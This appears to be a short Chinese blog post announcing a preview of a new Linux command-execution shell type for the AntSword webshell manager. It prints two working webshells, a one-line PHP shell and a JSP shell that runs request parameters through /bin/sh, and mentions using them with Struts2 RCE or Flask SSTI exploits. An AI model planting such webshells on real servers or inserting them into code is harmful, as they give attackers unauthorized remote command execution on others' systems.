AntSword新类型 CmdLinux 预览
2021-6-27 21:57:45 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏

写在前面

  平时见到的 Exp 大家都喜欢直接发命令执行的 Exp (没错我说的就是 struts2 全家桶)。一直以来,有个想法,能不能图形化管理命令执行的WebShell,于是他来了。

本来是要在下个版本更新的时候再发文章的,实在没忍住,提前发出来了。


正文

比如我们有这么一个 PHP 的 Shell:

<?php system($_POST['ant']);?>

或者是这样一个再普通不过的 JSP WebShell

<%  if(request.getParameter("cmd")!=null){    java.io.InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")}).getInputStream();    int a = -1;    byte[] b = new byte[1];    out.print("<pre>");    while((a=in.read(b))!=-1){      out.print(new String(b));    }    out.print("</pre>");  }%>

这里得提一嘴, JSP 下用 Runtime.exec 方法时,如果是直接传 Stirng 进去,只能执行一条命令,后面的内容都会当作参数来处理,所以我们在这里使用的是数组。并且在读取命令执行结果时,用 byte 数组的形式的话,得注意内容覆写的问题,别问我为什么这个 WebShell 是这么低效率的,我就是随便找了一个.

再或者是 Struts2 RCE 的 EXP, 或者是 Flask SSTI...

只要有一个可以执行命令的点, 就可以快乐起来 :)

写在最后

    想要尝鲜的小伙伴可以换到 v2.1.x 开发分支体验,欢迎大家反 Bug正式版将在下个月也可能是下下个月发布,如果到时候能把 Windows 下的也解决了就一起发布了


不如关注一波再走?


文章来源: https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&mid=2247484254&idx=1&sn=51b8aba9472ffe4ebad7d5153d2d1c6b&chksm=e91c58a6de6bd1b0dc725c985ec3cca4bd9a17451d313870f1f6463fb769d20ff836f3838c83&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh